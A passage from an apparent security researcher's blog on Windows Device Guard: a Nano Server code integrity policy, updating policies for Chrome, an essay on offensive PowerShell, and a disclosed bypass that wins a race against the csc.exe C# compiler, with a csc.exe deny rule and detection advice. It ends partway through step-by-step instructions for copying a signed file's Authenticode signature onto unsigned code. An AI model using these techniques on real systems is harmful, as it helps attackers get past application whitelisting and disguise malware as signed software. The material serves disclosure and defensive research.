  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

  <Rules>

    <Rule>

      <Option>Enabled:Unsigned System Integrity Policy</Option>

    </Rule>

    <Rule>

      <Option>Enabled:Advanced Boot Options Menu</Option>

    </Rule>

    <Rule>

      <Option>Enabled:UMCI</Option>

    </Rule>

    <Rule>

      <Option>Disabled:Flight Signing</Option>

    </Rule>

  </Rules>

  <!--EKUS-->

  <EKUs />

  <!--File Rules-->

  <FileRules>

    <!--This is the only non-OEM, 3rd party driver I needed for my Intel NUC-->

    <!--I was very specific with this driver rule but flexible with all other MS drivers.-->

    <FileAttribID="ID_FILEATTRIB_F_1"FriendlyName="e1d64x64.sys FileAttribute" FileName="e1d64x64.sys" MinimumFileVersion="12.15.22.3" />

  </FileRules>

  <!--Signers-->

  <Signers>

    <SignerID="ID_SIGNER_F_1"Name="Intel External Basic Policy CA">

      <CertRootType="TBS" Value="53B052BA209C525233293274854B264BC0F68B73" />

      <CertPublisherValue="Intel(R) INTELNPG1"/>

      <FileAttribRefRuleID="ID_FILEATTRIB_F_1"/>

    </Signer>

    <SignerID="ID_SIGNER_F_2"Name="Microsoft Windows Third Party Component CA 2012">

      <CertRootType="TBS" Value="CEC1AFD0E310C55C1DCC601AB8E172917706AA32FB5EAF826813547FDF02DD46" />

      <CertPublisherValue="Microsoft Windows Hardware Compatibility Publisher" />

      <FileAttribRefRuleID="ID_FILEATTRIB_F_1"/>

    </Signer>

    <SignerID="ID_SIGNER_S_3"Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisherValue="Microsoft Windows"/>

    </Signer>

    <SignerID="ID_SIGNER_S_4"Name="Microsoft Code Signing PCA">

      <CertRootType="TBS" Value="27543A3F7612DE2261C7228321722402F63A07DE" />

      <CertPublisherValue="Microsoft Corporation"/>

    </Signer>

    <SignerID="ID_SIGNER_S_5"Name="Microsoft Code Signing PCA 2011">

      <CertRootType="TBS" Value="F6F717A43AD9ABDDC8CEFDDE1C505462535E7D1307E630F9544A2D14FE8BF26E" />

      <CertPublisherValue="Microsoft Corporation"/>

    </Signer>

    <SignerID="ID_SIGNER_S_6"Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisherValue="Microsoft Windows Publisher" />

    </Signer>

    <SignerID="ID_SIGNER_S_2"Name="Microsoft Windows Production PCA 2011">

      <CertRootType="TBS" Value="4E80BE107C860DE896384B3EFF50504DC2D76AC7151DF3102A4450637A032146" />

      <CertPublisherValue="Microsoft Windows"/>

    </Signer>

    <SignerID="ID_SIGNER_S_1"Name="Microsoft Code Signing PCA 2010">

      <CertRootType="TBS" Value="121AF4B922A74247EA49DF50DE37609CC1451A1FE06B2CB7E1E079B492BD8195" />

    </Signer>

  </Signers>

  <!--Driver Signing Scenarios-->

  <SigningScenarios>

    <SigningScenarioValue="131" ID="ID_SIGNINGSCENARIO_DRIVERS_1" FriendlyName="Kernel-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSignerSignerId="ID_SIGNER_S_1"/>

          <AllowedSignerSignerId="ID_SIGNER_S_2"/>

          <AllowedSignerSignerId="ID_SIGNER_F_1"/>

          <AllowedSignerSignerId="ID_SIGNER_F_2"/>

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

    <SigningScenarioValue="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="User-mode rules">

      <ProductSigners>

        <AllowedSigners>

          <AllowedSignerSignerId="ID_SIGNER_S_3"/>

          <AllowedSignerSignerId="ID_SIGNER_S_4"/>

          <AllowedSignerSignerId="ID_SIGNER_S_5"/>

          <AllowedSignerSignerId="ID_SIGNER_S_6"/>

        </AllowedSigners>

      </ProductSigners>

    </SigningScenario>

  </SigningScenarios>

  <UpdatePolicySigners/>

  <CiSigners>

    <CiSignerSignerId="ID_SIGNER_S_3"/>

    <CiSignerSignerId="ID_SIGNER_S_4"/>

    <CiSignerSignerId="ID_SIGNER_S_5"/>

    <CiSignerSignerId="ID_SIGNER_S_6"/>

  </CiSigners>

  <HvciOptions>0</HvciOptions>

</SiPolicy


I conducted the following phases to generate this policy:
  1. Generate a default, deny-all policy by calling New-CIPolicy on an empty directory. I also increased the size of the Microsoft-Windows-CodeIntegrity/Operational to 20 MB to account for the large number of 3076 events I would expect while deploying the policy in audit mode. I also just focused on drivers for this phase so I didn't initially include the "Enabled:UMCI" option. My approach moving forward will be to focus on just drivers and then user-mode rules so as to minimize unnecessary cross-pollination between rule sets.
  2. Reboot and start pulling out blocked driver paths from the event log. I wanted to use the WHQLFilePublisher rule for the drivers but apparently, none of them were WHQL signed despite some of them certainly appearing to be WHQL signed. I didn't spend too much time diagnosing this issue since I have never been able to successfully get the WHQLFilePublisher rule to work. Instead, I resorted to the FilePublisher rule.
  3. After I felt confident that I had a good driver whitelist, I placed the policy into enforcement mode and rebooted. What resulted was nonstop boot failures. It turns out that if you're whitelisting individual drivers, critical drivers won't show up in the event log in audit mode like ntoskrnl.exe and hal.dll. So I explicitly added rules for them and Nano Server still wouldn't boot. What made things worse is that even if I placed the policy back into audit mode, there were no new blocked driver entries but the system still refused to boot. I rolled the dice and posited that there might be an issue with certificate chain validation at boot time so I created a PCACertificate rule for ntoskrnl.exe (The "Microsoft Code Signing PCA 2010" rule). This miraculously did the trick at the expense of creating a more permissive policy. In the end, I ended up with roughly the equivalent of a Publisher ruleset on my drivers with the exception of my Intel NIC driver.
  4. I explicitly made a FilePublisher rule for my Intel NIC driver as it was the only 3rd part, non-OEM driver I had to add when creating my Nano Server image. I don't need to allow any other code signed by Intel so I explicitly only allow that one driver.
  5. After I got Nano Server to boot, I started working on user-mode rules. This process was relatively straightforward and I used the Publisher rule for user-mode code.
  6. After using Nano Server under audit mode with my new rule set and not seeing any legitimate binaries that would have been blocked, I felt confident in the policy and placed it into audit mode and I haven't run into any issues and I'm using Nano Server as a Hyper-V server (i.e. with the "Compute" package).
I still need to get around to adding my code-signing certificate as an authorized policy signer, sign the policy, and remove "Enabled:Unsigned System Integrity Policy". Overall though, despite the driver issues, I'm fairly content with how well locked down my policy is. It essentially only allows a subset of critical Microsoft code to execute with the exception of the Intel driver which has a very specific file/signature-based rule.

Conclusion

I'm not sure if we'll see improved code integrity or Device Guard support for Nano Server in the future, but something is at least better than nothing. As it stands though, if you are worried about the execution of untrusted PowerShell code, unfortunately, UMCI does nothing to protect you on Nano Server. Code integrity still does a great job of blocking untrusted compiled binaries though - a hallmark of the vast majority of malware campaigns. Nano Server opens up a whole new world of possibilities from a management and malware perspective. I'm personally very interested to see how attackers will try to evolve and support their operations in a Nano Server environment. Fortunately, the combination of Windows Defender and code integrity support offer a solid security baseline.

Updating Device Guard Code Integrity Policies

30 December 2016 at 23:01
In previous posts about Device Guard, I spent a lot of time talking about initial code integrity (CI) configurations and bypasses. What I haven't covered until now however is an extremely important topic: how does one effectively install software and update CI policies according? In this post, I will walk you through how I got Chrome installed on my Surface Book running on an enforced Device Guard code integrity policy.

The first questions I posed to myself were:
  1. Should I place my system into audit mode, install the software, and base an updated policy on CodeIntegrity event log entries?
  2. Or should I install the software on a separate, non Device Guard protected system, analyze the file footprint, develop a policy based on the installed files, deploy, and test?
My preference is option #2 as I would prefer to not place a system back into audit mode if I can avoid it. That said, audit mode would yield the most accurate results as it would tell you exactly which binaries would have been blocked that you would want to base whitelist rules off of. In this case, there's no right or wrong answer. My decision to go with option #2 was to base my rules solely off binaries that execute post-installation, not during installation. My mantra with whitelisting is to be as restrictive as is reasonable.

So how did I go about beginning to enumerate the file footprint of Chrome?
  1. I opened Chrome, ran it as I usually would, and used PowerShell to enumerate loaded modules.
  2. I also happened to know that the Google updater runs as a scheduled task so I wanted to obtain the binaries executed via scheduled tasks as well.
I executed the following to get a rough sense of where Chrome files were installed:

(Get-Process-Name *Chrome*).Modules.FileName | Sort-Object-Unique

(Get-ScheduledTask-TaskName *Google*).Actions.Execute | Sort-Object-Unique


To my surprise and satisfaction, Google manages to house nearly all of its binaries in C:\Program Files (x86)\Google. This allows for a great starting point for building Chrome whitelist rules.

Next, I had to ask myself the following:
  1. Am I okay with whitelisting anything signed by Google?
  2. Do I only want to whitelist Chrome? i.e. All Chrome-related EXEs and all DLLs they rely upon.
  3. I will probably want want Chrome to be able to update itself without Device Guard getting in the way, right?
While I like the idea of whitelisting just Chrome, there are going to be some potential pitfalls. By whitelisting just Chrome, I would need to be aware of every EXE and DLL that Chrome requires to function. I can certainly do that but it would be a relatively work-intensive effort. With that list, I would then create whitelist rules using the FilePublisher file rule level. This would be great initially and it would potentially be the most restrictive strategy while allowing Chrome to update itself. The issue is that what happens when Google decides to include one or more additional DLLs in the software installation? Device Guard will block them and I will be forced to update my policy again. I'm all about applying a paranoid mindset to my policy but at the end of the day, I need to get work done other than constantly updating CI policies.

So the whitelist strategy I choose in this instance is to allow code signed by Google and to allow Chrome to update itself. This strategy equates to using the "Publisher" file rule level - "a combination of the PcaCertificate level (typically one certificate below the root) and the common name (CN) of the leaf certificate. This rule level allows organizations to trust a certificate from a major CA (such as Symantec), but only if the leaf certificate is from a specific company (such as Intel, for device drivers)."

I like the "Publisher" file rule level because it offers the most flexibility, longevity for a specific vendor's code signing certificate. If you look at the certificate chain for chrome.exe, you will see that the issuing PCA (i.e. the issuer above the leaf certificate) is Symantec. Obviously, we wouldn't want to whitelist all code signed by certs issued by Symantec but I'm okay allowing code signed by Google who received their certificate from Symantec.

Certificate chain for chrome.exe
So now I'm ready to create the first draft of my code integrity rules for Chrome.

I always start by creating a FilePublisher rule set for the binaries I want to whitelist because it allows me to associate what binaries are tied to their respective certificates.

$GooglePEs= Get-SystemDriver-ScanPath 'C:\Program Files (x86)\Google' -UserPEs

New-CIPolicy-FilePath Google_FilePub.xml-DriverFiles $GooglePEs-Level FilePublisher-UserPEs


What resulted was the following ruleset. Everything looked fine except for a single Microsoft rule generated which was associated with d3dcompiler_47.dll. I looked in my master rule policy and I already had this rule. Me being obsessive compulsive wanted a pristine ruleset including only Google rules. This is good practice anyway once you get in the habit of managing large whitelist rulesets. You'll want to keep separate policy XMLs for each whitelisting scenario you run into and then merge accordingly. After removing the MS binary from the list, what resulted was a much cleaner ruleset (Publisher applied this time) consisting of only two signer rules.

$OnlyGooglePEs= $GooglePEs| ? { -not $_.FriendlyName.EndsWith('d3dcompiler_47.dll') }

New-CIPolicy-FilePath Google_Publisher.xml-DriverFiles $OnlyGooglePEs-Level Publisher-UserPEs


So now, all I should need to do is merge the new rules into my master ruleset, redeploy, reboot, and if all works well, Chrome should install and execute without issue.

$MasterRuleXml= 'FinalPolicy.xml'

$ChromeRules= New-CIPolicyRule-DriverFiles $OnlyGooglePEs-Level Publisher

Merge-CIPolicy-OutputFilePath FinalPolicy_Merged.xml-PolicyPaths $MasterRuleXml-Rules $ChromeRules

ConvertFrom-CIPolicy-XmlFilePath .\FinalPolicy_Merged.xml-BinaryFilePath SIPolicy.p7b

# Finally, on the Device Guard system, replace the existing

# SIPolicy.p7b with the one that was just generated and reboot.


One thing I neglected to account for was the initial Chrome installer binary. I could have incorporated the binary into this process but I wanted to try my luck that Google used the same certificates to sign the installer binary. To my luck, they did and everything installed and executed perfectly. I would consider myself lucky in this case because I selected a software publisher (Google) who employs decent code signing practices.

Conclusion

In future blog posts, I will document my experiences deploying software that doesn't adhere to proper signing practices or doesn't even sign their code. Hopefully, the Google Chrome case study will, at a minimum, ease you into the process of updating code integrity policies for new software deployments.

The bottom line is that this isn't an easy process. Are there ways in which Microsoft could improve the code integrity policy generation/update/deployment/auditing experience? Absolutely! Even if they did though, the responsibility ultimately lies on you to make informed decisions about what software you trust and how you choose to enforce that trust!

PowerShell is Not Special - An Offensive PowerShell Retrospective

5 January 2017 at 23:35
“PowerShell is not special.”

During Jared Haight’s excellent DerbyCon presentation, he uttered this blasphemous sentence. As someone who has invested the last five years of his life learning and mastering PowerShell, at a surface level, it was easy to dismiss such a claim. However, I’ve done a lot of introspection about my investment in offensive PowerShell and the more I thought about it, the more I began to realize that PowerShell really isn’t that special! Before you bring out the torches and pitchforks, allow me apply context.

My first exposure to PowerShell was from Dave Kennedy and Josh Kelley during their DEF CON presentation – PowerShell OMFG. Initially, I considered PowerShell to be amusing from a security perspective. I was just getting my start in infosec, however, and I had a lot of other things that I needed to focus on. Not long after that talk, Chris Campbell (@obscuresec) then took a keen interest in PowerShell and heavily advocated that we start using it on our team. My obsession for PowerShell wasn’t solidified until I realized that it could be used as a shellcode runner. When I realized that there really wasn’t anything PowerShell couldn’t do, my interest in and promotion of offensive PowerShell was truly realized.

For years, I did my part in developing unique offensive capabilities in PowerShell to the approval of many in the community and to the disappointment of defenders and employees of Microsoft. At the time, their disappointment and frustration was justified to an extent. When I started writing offensive PowerShell code, v3 hadn’t been released so the level of detection was laughable. Fast forward to now – PowerShell v5 (which is available downlevel to Windows 7). I challenge anyone to identify a single language – scripting, interpreted, compiled, or otherwise that has better logging than PowerShell v5. Additionally, if defenders choose to employ whitelisting to enforce trusted PowerShell code, both AppLocker and Device Guard do what many still (mistakenly) believe the execution policy was intended to do – actually perform signature enforcement of PowerShell code.

While PowerShell has become extremely popular amongst pentesters, red-teamer, criminals, and state-sponsored actors, let’s not forget that we’re still getting compromised by compiled payloads every... freaking... day. PowerShell really is just a means to an end in achieving an attacker’s objective - now at the cost of generating significant noise with the logging offered by PowerShell v5. PowerShell obviously offers many distinct advantages for attackers that I highlighted years ago but defenders and security vendors are slowly but surely catching up with detecting PowerShell attacks. Additionally, with the introduction of AMSI, for all of its flaws, we now have AV engines that can scan arbitrary buffers in memory.

So in the context of offense, this is why I say that PowerShell really isn’t special. Defenders truly are armed with the tools they need to detect and mitigate against PowerShell attacks. So the next time you find yourself worrying about PowerShell attacks, make sure you’re worrying equally, if not more about every other kind of payload that could execute on your system. Don’t be naïve, however, and write PowerShell off as a “solved problem.” There will always continue to be innovative bypass/evasion research in the PowerShell space. Let’s continue to bring this to the public’s attention and the community will continue to benefit from the fruits of offensive and defensive research.

References for securing/monitoring PowerShell:

Bypassing Device Guard with .NET Assembly Compilation Methods

10 July 2017 at 11:08
Tl;dr

This post will describe a Device Guard user mode code integrity (UMCI) bypass (or any other application whitelisting solution for that matter) that takes advantage of the fact the code integrity checks are not performed on any code that compiles C# dynamically with csc.exe. This issue was reported to Microsoft on November 14, 2016. Despite all other Device Guard bypasses being serviced, a decision was made to not service this bypass. This bypass can be mitigated by blocking csc.exe but that may not be realistic in your environment considering the frequency in which legitimate code makes use of these methods - e.g. msbuild.exe and many PowerShell modules that call Add-Type.

Introduction

When Device Guard enforces user mode code integrity (UMCI), aside from blocking non-whitelisted binaries, it also only permits the execution of signed scripts (PowerShell and WSH) approved per policy. The UMCI enforcement mechanism in PowerShell is constrained language mode. One of the features of constrained language mode is that unsigned/unapproved scripts are prevented from calling Add-Type as this would permit arbitrary code execution via the compilation and loading of supplied C#. Scripts that are approved per Device Guard code integrity (CI) policy, however, are under no such restrictions, execute in full language mode, and are permitted to call Add-Type. While investigating Device Guard bypasses, I considered targeting legitimate, approved calls to Add-Type. I knew that the act of calling Add-Type caused csc.exe – the C# compiler to drop a .cs file to %TEMP%, compile it, and load it. A procmon trace of PowerShell calling Add-Type confirms this:

Process Name Operation  Path

------------ ---------  ----

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.cmdline

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.0.cs

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp

cvtres.exe   CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP

cvtres.exe   CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\RES1A69.tmp

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\bfuswtq5.dll

csc.exe      CreateFile C:\Users\TestUser\AppData\Local\Temp\CSC3FBE068FE0A4C00B4A74B718FAE2E57.TMP


Upon seeing these files created, I asked myself the following questions:
  1. Considering an approved (i.e. whitelisted per policy) PowerShell function is permitted to call Add-Type (as many Microsoft-signed module functions do), could I possibly replace the dropped .cs file with my own? Could I do so quickly enough to win that race?
  2. How is the .DLL that’s created loaded? Is it subject to code integrity (CI) checks?

Research methodology
Let’s start with the second question since exploitation would be impossible if CI would prevent the loading of a hijacked, unsigned DLL. To answer this question, I needed to determine what .NET methods were called upon Add-Type being called. This determination was relatively easy by tracing method calls in dnSpy. I quickly traced execution of the following .NET methods:
Once the Microsoft.CSharp.CSharpCodeGenerator.Compile method is called, this is where csc.exe is ultimately invoked. After the Compile method returns, FromFileBatch takes the compiled artifacts, reads them in as a byte array, and then loads them using System.Reflection.Assembly.Load(byte[], byte[], Evidence). This is the same method called by msbuild.exe when compiling inline tasks – a known Device Guard UMCI bypassed discovered by Casey Smith. Knowing this, I gained the confidence that if I could hijack the dropped .cs file, I would end up having a constrained language mode bypass, allowing arbitrary unsigned code execution. What we’re referring to here is known as a “time of check time of use” (TOCTOU) attack. If I could manage to replace the dropped .cs file with my own prior to csc.exe consuming it, then I would win that race and perform the bypass. The only constraints imposed on me, however, would be that I would need to write a hijack payload within the constraints of constrained language mode. As it turns out, I was successful.

Exploitation

I wrote a function called Add-TypeRaceCondition that will accept attacker-supplied C# and get an allowed call to Add-Type to compile it and load it within the constraints of constrained language mode. The weaponized bypass is roughly broken down as follows:
  1. Spawn a child process of PowerShell that constantly tries to drop the malicious .cs file to %TEMP%.
  2. Maximize the process priority of the child PowerShell process to increase the likelihood of winning the race.
  3. In the parent PowerShell process, import a Microsoft-signed PowerShell module that calls Add-Type – I chose the PSDiagnostics process for this.
  4. Kill the child PowerShell process.
  5. At this point, you will have likely won the race and your type will be loaded in place of the legitimate one expected by PSDiagnostics.
In reality, the payload wins the race a little more than 50% of the time. If Add-TypeRaceCondition doesn’t work on the first try, it will almost always work on the second try.

Do note that while I weaponized this bypass for PowerShell, this can be weaponized using anything that would allow you to overwrite the dropped .cs file quickly enough. I've weaponized the bypass using a batch script, VBScript, and with WMI. I'll leave it up to the reader to implement a bypass using their language of choice.

Operational Considerations

It's worth noting that while an application whitelisting bypass is just that, it also serves as a method of code execution that is likely to evade defenses. In this bypass, an attacker need only drop a C# file to disk which results in the temporary creation of a DLL on disk which is quickly deleted. Depending upon the payload used, some anti-virus solutions with real-time scanning enabled could potentially have the ability to quarantine the dropped DLL before it's consumed by System.Reflection.Assembly.Load.

Prevention

Let me first emphasize that this is a .NET issue, not a PowerShell issue. PowerShell was simply chosen as a convenient means to weaponize the bypass. As I’ve already stated, this issue doesn’t just apply to when PowerShell calls Add-Type, but when any application calls any of the CodeDomProvider.CompileAssemblyFrom methods. Researchers will continue to target signed applications that make such method calls until this issue is mitigated.

A possible user mitigation for this bypass would be to block csc.exe with a Device Guard rule. I would personally advise against this, however, since there are many legitimate Add-Type calls in PowerShell and presumably in other legitimate applications. I’ve provided a sample Device Guard CI rule that you can merge into your policy if you like though. I created the rule with the following code:

# Copy csc.exe into the following directory

# csc.exe should be the only file in this directory.

$CSCTestPath= '.\Desktop\ToBlock\'

$PEInfo= Get-SystemDriver-ScanPath $CSCTestPath-UserPEs -NoShadowCopy


$DenyRule= New-CIPolicyRule-Level FileName-DriverFiles $PEInfo-Deny

$DenyRule[0].SetAttribute('MinimumFileVersion', '65535.65535.65535.65535')


$CIArgs= @{

    FilePath = "$($CSCTestPath)block_csc.xml"

    Rules = $DenyRule

    UserPEs = $True

}


New-CIPolicy@CIArgs


Detection

Unfortunately, detection using free, off-the-shelf tools will be difficult due to the fact that the disk artifacts are created and subsequently deleted and by the nature of System.Reflection.Assembly.Load(byte[]) not generating a traditional module load event that something like Sysmon would be able to detect.

Vendors with the ability to hash files on the spot should consider assessing the prevalence of DLLs created by csc.exe. Files with low prevalence should be treated as suspicious. Also, unfortunately, since dynamically created DLLs by their nature will not be signed, there will be no code signing heuristics to key off of.

It's worth noting that I intentionally didn't mention PowerShell v5 ScriptBlock logging as a detection option since PowerShell isn't actually required to achieve this bypass.

Conclusion

I remain optimistic of Device Guard’s ability to enforce user mode code integrity. It is a difficult problem to tackle, however, and there is plenty of attack surface. In most cases, Device Guard UMCI bypasses can be mitigated by a user in the form of CI blacklist rules. Unfortunately, in my opinion, no realistic user mitigation of this particular bypass is possible. Microsoft not servicing such a bypass is the exception and not the norm. Please don’t let this discourage you from reporting any bypasses that you may find to [email protected]. It is my hope that by releasing this bypass that it will eventually be addressed and it will provide other vendors with the opportunity to mitigate.

Previously serviced bypasses for reference:

Application of Authenticode Signatures to Unsigned Code

28 August 2017 at 12:31
Attackers have been known to apply legitimate digital certificates to their malware, presumably, to evade basic signature validation utilities. This was the case with the Petya ransomware. As a reverse engineer or red team capability developer, it is important to know the methods in which legitimate signatures can be applied to otherwise unsigned, attacker-supplied code. This blog post will give some background on code signing mechanisms, digital signature binary formats, and finally, techniques describing the application of digital certificates to an unsigned PE file. Soon, you will also see why these techniques are even more relevant in research that I will be releasing next month.

Background


What does it mean for a PE file (exe, dll, sys, etc.) to be signed? The simple answer to many is to open up the file properties on a PE and if a “Digital Signatures” tab is present, it means it was signed. When you see that the “Digital Signatures” tab is present on a file, it actually means that the PE file was Authenticode signed, which means within the file itself there is a binary blob of data consisting of a certificate and a signed hash of the file (more specifically, the Authenticode hash which doesn’t consider certain parts of the PE header in the hash calculation). The format in which an Authenticode signature is stored is documented in the PE Authenticode specification.


Many files that one would expect to be signed, however, (for example, consider notepad.exe) do not have a “Digital Signatures” tab. Does this mean that the file isn’t signed and that Microsoft is actually shipping unsigned code? Well, it depends. While notepad.exe does not have an Authenticode signature embedded within itself, in reality, it was signed via another means - catalog signing. Windows contains a catalog store consisting of many catalog files that are basically just a list of Authenticode hashes. Each catalog file is then signed to attest that any files with matching hashes originated from the signer of the catalog file (which is Microsoft in almost all cases). So while the Explorer UI does not attempt to lookup catalog signatures, pretty much any other signature verification tool will perform catalog lookups - e.g. Get-AuthenticodeSignature in PowerShell and Sysinternals Sigcheck.

Note: The catalog file store is located in %windir%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}



In the above screenshot, the SignatureType property indicates that notepad.exe is catalog signed. What is also worth noting is the IsOSBinary property. While the implementation is not documented, this will show “True” if a signature chains to one of several known, hashed Microsoft root certificates. Those interested in learning more about how this works should reverse the CertVerifyCertificateChainPolicy function.

Sigcheck with the “-i” switch will perform catalog certificate validation and also display the catalog file path that contains the matching Authenticode hash. The “-h” switch will also calculate and display the SHA1 and SHA256 Authenticode hashes of the PE file (PESHA1 and PE256, respectively):

sigcheck -q -h -i C:\Windows\System32\notepad.exe

c:\windows\system32\notepad.exe:

  Verified:       Signed

  Catalog:        C:\WINDOWS\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package-AutoMerged-shell~31bf3856ad364e35~amd64~~10.0.15063.0.cat

  Signers:

    Microsoft Windows

      Status:         Valid

      Valid Usage:    NT5 Crypto, Code Signing

      Serial Number:  33 00 00 01 06 6E C3 25 C4 31 C9 18 0E 00 00 00 00 01 06

      Thumbprint:     AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033

      Algorithm:      1.2.840.113549.1.1.11

      Valid from:     1:39 PM 10/11/2016

      Valid to:       1:39 PM 1/11/2018

    Microsoft Windows Production PCA 2011

      Status:         Valid

      Valid Usage:    All

      Serial Number:  61 07 76 56 00 00 00 00 00 08

      Thumbprint:     580A6F4CC4E4B669B9EBDC1B2B3E087B80D0678D

      Algorithm:      1.2.840.113549.1.1.11

      Valid from:     11:41 AM 10/19/2011

      Valid to:       11:51 AM 10/19/2026

    Microsoft Root Certificate Authority 2010

                Status:         Valid

                Valid Usage:    All

                Serial Number:  28 CC 3A 25 BF BA 44 AC 44 9A

                                9B 58 6B 43 39 AA

                Thumbprint:     3B1EFD3A66EA28B16697394703A72CA340A05BD5

                Algorithm:      1.2.840.113549.1.1.11

                Valid from:     2:57 PM 6/23/2010

                Valid to:       3:04 PM 6/23/2035

    Signing date:   1:02 PM 3/18/2017

    Counter Signers:

      Microsoft Time-Stamp Service

        Status:         Valid

        Valid Usage:    Timestamp Signing

        Serial Number:  33 00 00 00 B3 39 BB D4 12 93 15 A9 FE 00 00 00 00 00 B3

        Thumbprint:     BEF9C1F4DA0F153FF0900303BE78A59ADA8ADCB9

        Algorithm:      1.2.840.113549.1.1.11

        Valid from:     10:56 AM 9/7/2016

        Valid to:       10:56 AM 9/7/2018

      Microsoft Time-Stamp PCA 2010

        Status:         Valid

        Valid Usage:    All

        Serial Number:  61 09 81 2A 00 00 00 00 00 02

        Thumbprint:     2AA752FE64C49ABE82913C463529CF10FF2F04EE

        Algorithm:      1.2.840.113549.1.1.11

        Valid from:     2:36 PM 7/1/2010

        Valid to:       2:46 PM 7/1/2025

      Microsoft Root Certificate Authority 2010

        Status:         Valid

        Valid Usage:    All

        Serial Number:  28 CC 3A 25 BF BA 44 AC 44 9A 9B 58 6B 43 39 AA

        Thumbprint:     3B1EFD3A66EA28B16697394703A72CA340A05BD5

        Algorithm:      1.2.840.113549.1.1.11

        Valid from:     2:57 PM 6/23/2010

        Valid to:       3:04 PM 6/23/2035

    Publisher:      Microsoft Windows

    Description:    Notepad

    Product:        Microsoft« Windows« Operating System

    Prod version:   10.0.15063.0

    File version:   10.0.15063.0 (WinBuild.160101.0800)

    MachineType:    64-bit

    MD5:    F60A9D3A9461F68DE0FCCEBB0C6CB31A

    SHA1:   2302BA58181F3C4E1E44A47A7D214EE9397CF2BA

    PESHA1: ACCE8ADCE9DDDE507EAE295DBB37683CA272DB9E

    PE256:  0C67E3923EDA8154A89ADCA8A6BF47DF7C07D40BB41963DEB16ACBCF2E54803E

    SHA256: C84C361B7F5DBAEAC93828E60D2B54704D3E7CA84148BAFDA632F9AD6CDC96FA

    IMP:    645E8D8B0AEA808FF16DAA70D6EE720E


Knowing the Authenticode hash allows you to look up the respective entry in the catalog file. You can double-click a catalog file to view its entries. I also wrote the CatalogTools PowerShell module to parse catalog files. The “hint” metadata field gives away that notepad.exe is indeed the corresponding entry:


Digital Signature Binary Format


Now that you have an understanding of the methods in which a PE file can be signed (Authenticode and catalog), it is useful to have some background on the binary format of signatures. Whether Authenticode signed or catalog signed, both signatures are stored as PKCS #7 signed data which is ASN.1 formatted binary data. ASN.1 is simply a standard that states how binary data of different data types should be stored. Before observing/parsing the bytes of a digital signature, you must first know how it is stored in the file. Catalog files are straightforward as the file itself consists of raw PKCS #7 data. There are online ASN.1 decoders that parse out ASN.1 data and present it in an intuitive fashion. For example, try loading the catalog file containing the hash for notepad.exe into the decoder and you will get a sense of the layout of the data. Here’s a snippet of the parsed output:


Each property within the ASN.1 encoded data begins with an object identifier (OID) - a unique numeric sequence that identifies the type of data that follows. The OIDs worth noting in the above snippet are the following:
  1. 1.2.840.113549.1.7.2 - This indicates that what follows is PKCS #7 signed data - the format expected for Authenticode and catalog-signed code.
  2. 1.3.6.1.4.1.311.12.1.1 - This indicates that what follows is catalog file hash data
It is worth spending time exploring all of the fields contained within a digital signature. All fields present are outside of the scope of this blog post, however. Additional crypto/signature-related OIDs are listed here.

Embedded PE Authenticode Signature Retrieval


The digital signature data in a PE file with an embedded Authenticode signature is appended to the end of the file (in a well-formatted PE file). The OS obviously needs a little bit more information than that though in order to retrieve the exact offset and size of the embedded signature. Let’s look at kernel32.dll in one of my favorite PE parsing/editing utilities: CFF Explorer.


The offset and size of the embedded digital signature is stored in the “security directory” offset within the “data directories” array within the optional header. The data directory contains offsets and size of various structures within the PE file - exports, imports, relocations, etc. All offsets within the data directory are relative virtual offsets (RVA) meaning they are the offset to the respective portion of the PE when loaded in memory. There is one exception though - the security directory which stores its offset as a file offset. The reason for this is because the Windows loader doesn’t actually load the content of the security directory in memory.

The binary data in the at the security directory file offset is a WIN_CERTIFICATE structure. Here’s what the structure for kernel32.dll looks like parsed out in 010 Editor (file offset 0x000A9600):


PE Authenticode signatures should always have a wRevision of WIN_CERT_TYPE_PKCS_SIGNED_DATA. The byte array that follows is the same PKCS #7, ASN.1 encoded signed data as was seen in the contents of a catalog file. The only difference is that you shouldn’t find the 1.3.6.1.4.1.311.12.1.1 OID, indicating the presence of catalog hashes.

Parsing out the raw bCertificate data in the online ASN.1 decoder confirms we’re dealing with proper PKCS #7 data:

Application of Digital Signatures to Unsigned PEs


Now that you have a basic idea of the binary format and storage locations of digital signatures, you can start applying existing signatures to your unsigned code.

Application of Embedded Authenticode Signatures


Applying an embedded Authenticode signature from a signed file to an unsigned PE file is quite straightforward. While the process can obviously be automated, I’m going to explain how to do it manually with a hex editor and CFF Explorer.

Step #1: Identify the Authenticode signature that you want to steal. In this example, I will use the one in kernel32.dll

Step #2: Identify the offset and size of the WIN_CERTIFICATE structure in the “security directory”


So the file offset in the above screenshot is 0x000A9600 and the size is 0x00003A68.

Step #3: Open kernel32.dll in a hex editor, select 0x3A68 bytes starting at offset 0xA9600, and then copy the bytes.


